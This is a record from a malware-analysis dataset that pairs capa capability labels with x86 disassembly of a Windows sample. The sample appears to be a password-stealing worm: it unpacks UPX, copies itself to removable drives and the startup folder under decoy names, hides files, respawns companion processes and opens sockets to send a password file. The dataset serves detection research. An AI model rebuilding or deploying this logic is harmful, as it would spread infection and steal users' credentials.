joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d8ee
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x476f10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6a000]
push edi
jmp 0x476f2a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x476f31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f20
mov eax, 1
add ebx, ebx
jne 0x476f43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x476f54
jne 0x476f73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f73
dec eax
add ebx, ebx
jne 0x476f60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x476f38
add ebx, ebx
jne 0x476f6f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x476fc5
xor ecx, ecx
sub eax, 3
jb 0x476f8b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x476ffa
sar eax, 1
mov ebp, eax
jmp 0x476f96
add ebx, ebx
jne 0x476f96
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f64
inc ecx
add ebx, ebx
jne 0x476fa4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f64
add ebx, ebx
jne 0x476fb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x476fa6
jne 0x476fc2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x476fa6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x476fe4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x476fd6
jmp 0x476f26
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x476fe4
add edi, ecx
jmp 0x476f26
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x477002
cmp byte [edi], 9
jne 0x477002
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x477007
lea edi, [esi + 0x74000]
mov eax, dword [edi]
or eax, eax
je 0x47707f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xcfc34]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xcfcfc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x477034
mov ecx, edi
jns 0x477063
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xcfd00]
or eax, eax
je 0x477079
mov dword [ebx], eax
add ebx, 4
jmp 0x477051
call dword [esi + 0xcfd10]
mov ebp, dword [esi + 0xcfd04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4770b3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x401343
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x40c4e0
call fcn.00401b6c
mov dword [esp + 4], 0x40c4e0
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.0040497d
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov dword [esp], 0x40dd10
call fcn.004049e4
mov dword [esp + 4], 0x40c4e0
mov dword [esp], 0x40d500
call fcn.00404a48
mov dword [esp], 0x40d500
call fcn.0040458d
mov dword [esp], str.temp
call sub.msvcrt.dll_getenv
mov dword [esp + 4], eax
mov dword [esp], 0x40c0d0
call sub.ntdll.dll_strcpy
mov dword [esp], 0x40c0d0
call fcn.0040458d
mov dword [esp + 4], str.Rar_EX7.src777_
mov dword [esp], 0x40c0d0
call sub.ntdll.dll_strcat
mov dword [esp + 8], 0x40c0d0
mov dword [esp + 4], str._svmcis.exe
mov dword [esp], 0x40d100
call sub.ntdll.dll_sprintf
mov dword [esp + 8], 0x40c0d0
mov dword [esp + 4], str._svmcis.txt
mov dword [esp], 0x40c8f0
call sub.ntdll.dll_sprintf
mov dword [esp + 8], 0x40c4e0
mov dword [esp + 4], 0x40a082
mov dword [esp], 0x48e260
call sub.ntdll.dll_sprintf
mov dword [esp + 4], 0x40c0d0
mov dword [esp], 0x40ccf0
call sub.ntdll.dll_strcpy
mov dword [esp + 4], str.pipe.Exc777.tmp
mov dword [esp], 0x40ccf0
call sub.ntdll.dll_strcat
mov dword [esp + 4], str.._
mov dword [esp], 0x48de40
call sub.ntdll.dll_strcpy
mov dword [esp + 4], 0x40c0d0
mov dword [esp], 0x48de40
call sub.ntdll.dll_strcat
mov dword [esp + 4], str.achsv.exe
mov dword [esp], 0x48de40
call sub.ntdll.dll_strcat
mov dword [esp + 4], str.._
mov dword [esp], 0x540290
call sub.ntdll.dll_strcpy
mov dword [esp + 4], 0x40c0d0
mov dword [esp], 0x540290
call sub.ntdll.dll_strcat
mov dword [esp + 4], str.COM7.EXE
mov dword [esp], 0x540290
call sub.ntdll.dll_strcat
mov dword [esp + 4], 7
mov dword [esp], 0x40d900
call fcn.004039b8
mov dword [esp], 0x40d900
call fcn.0040458d
mov dword [esp + 4], str.PDF_FoxitReader.exe
mov dword [esp], 0x40d900
call sub.ntdll.dll_strcat
mov dword [esp + 0xc], str.Data
mov dword [esp + 8], str.ShPass
mov dword [esp + 4], str.___s__s_
mov dword [esp], 0x48e660
call sub.ntdll.dll_sprintf
mov dword [esp + 0xc], str.Exit
mov dword [esp + 8], str.ShPass
mov dword [esp + 4], str.___s__s_
mov dword [esp], 0x48e240
call sub.ntdll.dll_sprintf
leave
ret
Function at 0x4019d3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [esp + 4], 0x40a0d2
mov dword [esp], 0x40c4e0
call sub.msvcrt.dll_fopen
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401a5b
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
shr eax, 4
xor eax, 1
and eax, 1
test eax, eax
je 0x401a50
mov eax, dword [ebp - 4]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x62000
mov dword [esp + 4], 1
mov dword [esp], 0x4de290
call sub.msvcrt.dll_fread
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x401a50
cmp dword [ebp - 0xc], 6
jg 0x401a50
lea eax, [ebp - 0xc]
inc dword [eax]
jmp 0x401a04
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
cmp dword [ebp - 8], 0
jle 0x401b6a
mov eax, dword [ebp - 8]
mov dword [0x40c010], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [esp + 0xc], 0x48e660
mov dword [esp + 8], 0x4de290
mov eax, dword [ebp - 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.0040531c
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0x48e240
mov dword [esp + 8], 0x4de290
mov eax, dword [ebp - 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.0040531c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.starti___d_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.endi___d_n
call sub.msvcrt.dll_printf
cmp dword [ebp - 0x10], 0
jle 0x401b6a
cmp dword [ebp - 0x14], 0
jle 0x401b6a
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jle 0x401b6a
mov dword [esp], 0x48e660
call sub.ntdll.dll_strlen
mov edx, eax
lea eax, [ebp - 0x10]
add dword [eax], edx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
sub eax, edx
mov dword [0x40c014], eax
mov eax, dword [0x40c014]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4de290
mov dword [esp], 0x48e690
call fcn.00406136
mov dword [esp + 0xc], 0x63
mov eax, dword [0x40c014]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x48e690
mov dword [esp], 0x48e690
call fcn.004069be
leave
ret
Function at 0x401e0c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [esp], str.MODE_:_default_n
call sub.msvcrt.dll_printf
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40c0d0
call fcn.0040492f
test eax, eax
jne 0x401e5d
mov dword [esp], 0x40c0d0
call fcn.00404a9d
mov dword [esp + 4], 0x27
mov dword [esp], 0x40c0d0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], 0x48de40
call fcn.004048e1
test eax, eax
jne 0x401e9f
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00402c64
jmp 0x401edf
mov dword [esp], 0x48de40
call fcn.00402cfc
test eax, eax
jne 0x401edf
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00402c64
mov dword [esp], 0x540290
call fcn.004048e1
test eax, eax
jne 0x401f21
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
jmp 0x401f61
mov dword [esp], 0x540290
call fcn.00402cfc
test eax, eax
jne 0x401f61
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e0]
jl 0x401f7c
cmp dword [0x408484], 0
jns 0x401f7c
call fcn.00403ce0
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e4]
jl 0x401f97
cmp dword [0x408484], 0
jns 0x401f97
call fcn.00403a05
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00406a06
test eax, eax
jne 0x401fb6
call fcn.00406af2
call fcn.00402588
leave
ret
Function at 0x401fb8
Capabilities:
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2038
call fcn.00407ac0
mov dword [esp], str.MODE_:_achsv_n
call sub.msvcrt.dll_printf
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40c0d0
call fcn.0040492f
test eax, eax
jne 0x402010
mov dword [esp], 0x40c0d0
call fcn.00404a9d
mov dword [esp + 4], 0x27
mov dword [esp], 0x40c0d0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.004048e1
test eax, eax
jne 0x402052
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
jmp 0x402086
mov dword [esp], 0x540290
call fcn.00402cfc
test eax, eax
jne 0x402086
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
mov dword [esp], str.send_info_..._n
call sub.msvcrt.dll_printf
lea eax, [ebp - 0x200c]
mov dword [esp], eax
call fcn.00404bb6
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call fcn.00405815
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
lea eax, [ebp - 0x200c]
mov dword [esp], eax
call fcn.004059a4
mov dword [esp], str.send_pass_file_..._n
call sub.msvcrt.dll_printf
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402b8d
mov dword [esp], str.create_MailOu_Thread_..._n
call sub.msvcrt.dll_printf
lea eax, [ebp - 0x2010]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x40a139
mov dword [esp + 8], 0x4029fb
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [ebp - 0x2014], eax
cmp dword [ebp - 0x2014], 0
jne 0x402155
mov dword [esp], 0x48e260
call fcn.00404b3d
mov dword [esp], str.copy_vrs_to_startup_..._n
call sub.msvcrt.dll_printf
mov dword [esp], 0x40d900
call fcn.004048e1
test eax, eax
jne 0x402189
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40d900
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402588
leave
ret
Function at 0x402c21
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40a3c0
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x402c64
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov word [ebp - 0x38], 1
mov dword [ebp - 0x34], 0
mov word [ebp - 0x36], 0
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x18]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x68]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x402d26
Capabilities:
Enumerate processes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
call fcn.00406b83
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
cmp dword [0x40de30], 0
je 0x402e5a
mov dword [esp + 4], 0
mov dword [esp], 2
mov eax, dword [0x40c030]
call eax
sub esp, 8
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], 0x128
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x402e16
cmp dword [ebp - 0x140], 0
je 0x402df3
mov dword [esp + 4], str.achsv.exe
lea eax, [ebp - 0x148]
add eax, 0x24
mov dword [esp], eax
call fcn.004060b5
test eax, eax
je 0x402dcf
mov dword [ebp - 0xc], 1
mov dword [esp + 4], str.com7.exe
lea eax, [ebp - 0x148]
add eax, 0x24
mov dword [esp], eax
call fcn.004060b5
test eax, eax
je 0x402df3
mov dword [ebp - 0x10], 1
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
mov dword [ebp - 0x150], eax
jmp 0x402d99
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], 0x40c0d0
call fcn.0040492f
test eax, eax
jne 0x402e5a
mov dword [esp], 0x40c0d0
call fcn.00404a9d
mov dword [esp + 4], 0x27
mov dword [esp], 0x40c0d0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
cmp dword [ebp - 0xc], 0
jne 0x402ee6
mov dword [esp], 0x48de40
call fcn.004048e1
test eax, eax
jne 0x402ea6
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00402c64
jmp 0x402ee6
mov dword [esp], 0x48de40
call fcn.00402cfc
test eax, eax
jne 0x402ee6
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00402c64
cmp dword [ebp - 0x10], 0
jne 0x402f72
mov dword [esp], 0x540290
call fcn.004048e1
test eax, eax
jne 0x402f32
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
jmp 0x402f72
mov dword [esp], 0x540290
call fcn.00402cfc
test eax, eax
jne 0x402f72
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
leave
ret
Function at 0x40370f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 0x21c], 0
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x21c], 0
cmp dword [ebp - 0x21c], 0xff
jg 0x40384a
lea eax, [ebp - 8]
add eax, dword [ebp - 0x21c]
sub eax, 0x200
cmp byte [eax], 0
je 0x40383c
lea eax, [ebp - 8]
add eax, dword [ebp - 0x21c]
sub eax, 0x200
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x40383c
lea eax, [ebp - 8]
add eax, dword [ebp - 0x21c]
sub eax, 0x200
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
jne 0x40383c
mov dword [esp + 0x10], str..exe
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.004048e1
test eax, eax
jne 0x40383c
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.00403018
lea eax, [ebp - 0x21c]
add dword [eax], 4
jmp 0x403763
leave
ret

Function at 0x4039b8
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
sub esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403a00
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
sub esp, 8
mov eax, dword [ebp + 8]
leave
ret
Function at 0x403ce0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x11c], 0x100
cmp dword [ebp - 0x11c], 0
js 0x403d8e
lea eax, [ebp - 8]
add eax, dword [ebp - 0x11c]
sub eax, 0x100
cmp byte [eax], 0
je 0x403d80
lea eax, [ebp - 8]
add eax, dword [ebp - 0x11c]
sub eax, 0x100
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x403d80
lea eax, [ebp - 8]
add eax, dword [ebp - 0x11c]
sub eax, 0x100
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 3
jne 0x403d80
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00403d90
lea eax, [ebp - 0x11c]
sub dword [eax], 4
jmp 0x403cf3
leave
ret
Function at 0x403f57
Capabilities:
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x430], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp + 4], 0x40a8cc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404148
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
shr eax, 4
xor eax, 1
and eax, 1
test eax, eax
je 0x404004
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
jg 0x404004
cmp dword [ebp - 0x430], 6
jg 0x404004
lea eax, [ebp - 0x430]
inc dword [eax]
jmp 0x403faa
cmp dword [ebp - 0x42c], 0
jle 0x40413d
mov byte [ebp - 0x428], 0
mov byte [ebp - 0x427], 0
mov byte [ebp - 0x426], 0
mov byte [ebp - 0x425], 0
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
lea eax, [ebp - 0x428]
mov dword [esp], eax
call fcn.004045c5
mov dword [esp + 4], 0x40a8d0
lea eax, [ebp - 0x428]
mov dword [esp], eax
call fcn.004060b5
test eax, eax
jne 0x40413d
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x4d
call sub.msvcrt.dll_fputc
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x72
call sub.msvcrt.dll_fputc
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x39
call sub.msvcrt.dll_fputc
mov dword [ebp - 0x434], 3
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x42c]
jge 0x40413d
lea eax, [ebp - 8]
add eax, dword [ebp - 0x434]
sub eax, 0x410
movsx eax, byte [eax]
add eax, 0x63
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0xff
jle 0x404111
lea eax, [ebp - 0x438]
sub dword [eax], 0x100
mov eax, dword [ebp - 0x438]
mov byte [ebp - 0x439], al
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
movsx eax, byte [ebp - 0x439]
mov dword [esp], eax
call sub.msvcrt.dll_fputc
lea eax, [ebp - 0x434]
inc dword [eax]
jmp 0x4040d1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
leave
ret
Function at 0x40414a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4041de
lea eax, [ebp + 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4041de
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
jmp 0x4041f9
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp + 0x14]
mov byte [eax], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x404a9d
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
lea eax, [ebp - 0x408]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x404abc
jmp 0x404b3b
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x404b12
mov eax, dword [ebp + 8]
cmp byte [eax], 0x5c
jne 0x404af5
mov eax, dword [ebp - 0x40c]
mov byte [eax], 0
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.0040492f
test eax, eax
jne 0x404af5
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.msvcrt.dll__mkdir
mov eax, dword [ebp - 0x40c]
mov edx, eax
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
movzx eax, byte [eax]
mov byte [edx], al
lea eax, [ebp - 0x40c]
inc dword [eax]
jmp 0x404abc
mov eax, dword [ebp - 0x40c]
mov byte [eax], 0
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.0040492f
test eax, eax
jne 0x404b3b
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.msvcrt.dll__mkdir
leave
ret

Function at 0x404bb6
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.DLL_WSAStartup
sub esp, 8
test eax, eax
je 0x404be8
mov dword [ebp - 0x19c], 0
jmp 0x404c29
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
cmp dword [eax], 0xffffffff
jne 0x404c1f
mov dword [ebp - 0x19c], 0
jmp 0x404c29
mov dword [ebp - 0x19c], 1
mov eax, dword [ebp - 0x19c]
leave
ret